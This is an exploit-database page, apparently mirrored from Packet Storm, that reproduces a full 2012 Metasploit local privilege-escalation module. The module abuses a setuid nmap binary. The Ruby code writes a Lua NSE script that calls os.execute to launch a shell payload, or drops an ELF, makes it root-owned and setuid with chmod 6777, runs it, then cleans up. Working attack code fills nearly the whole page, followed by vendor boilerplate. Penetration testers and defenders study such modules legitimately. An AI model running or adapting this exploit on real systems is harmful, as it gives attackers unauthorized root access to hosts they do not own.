Lucene search
K

Setuid Nmap Exploit

🗓️ 19 Jul 2012 00:00:00Reported by egyptType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Abuse of setuid nmap binary by writing lua nse script with os.execute call

Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/file'  
require 'msf/core/post/linux/priv'  
  
  
class Metasploit4 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Common  
  
def initialize(info={})  
super( update_info( info, {  
'Name' => 'setuid nmap "exploit"',  
'Description' => %q{  
Nmap's man page mentions that "Nmap should never be installed with  
special privileges (e.g. suid root) for security reasons.." and  
specifically avoids making any of its binaries setuid during  
installation. Nevertheless, administrators sometimes feel the need  
to do insecure things. This module abuses a setuid nmap binary by  
writing out a lua nse script containing a call to os.execute().  
  
Note that modern interpreters will refuse to run scripts on the  
command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}  
payloads will most likely not work.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'egypt' ],  
'Platform' => [ 'unix', 'linux', 'bsd' ],  
'Arch' => [ ARCH_CMD, ARCH_X86 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[ 'Command payload', { 'Arch' => ARCH_CMD } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],  
[ 'BSD x86', { 'Arch' => ARCH_X86 } ],  
],  
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },  
'DefaultTarget' => 0,  
}  
))  
register_options([  
# These are not OptPath becuase it's a *remote* path  
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),  
OptString.new("Nmap", [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]),  
], self.class)  
end  
  
def check  
stat = session.fs.file.stat(datastore["Nmap"])  
if stat and stat.file? and stat.setuid?  
print_good("#{stat.prettymode} #{datastore["Nmap"]}")  
return CheckCode::Vulnerable  
end  
return CheckCode::Safe  
end  
  
def exploit  
if (target.arch.include? ARCH_CMD)  
p = payload.encoded.gsub(/([$"])/) {|m| "\\#{$1}" }  
evil_lua = %Q{ os.execute("#{p} &") }  
else  
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.elf"  
print_status("Dropping executable #{exe_file}")  
write_file(exe_file, generate_payload_exe)  
evil_lua = %Q{  
os.execute("chown root:root #{exe_file}");  
os.execute("chmod 6777 #{exe_file}");  
os.execute("#{exe_file} &");  
os.execute("rm #{exe_file}");  
}  
end  
lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse"  
print_status("Dropping lua #{lua_file}")  
write_file(lua_file, evil_lua)  
  
print_status("running")  
  
begin  
cmd_exec "#{datastore["Nmap"]} --script #{lua_file}"  
ensure  
cmd_exec "rm -f #{lua_file} #{exe_file}"  
end  
  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation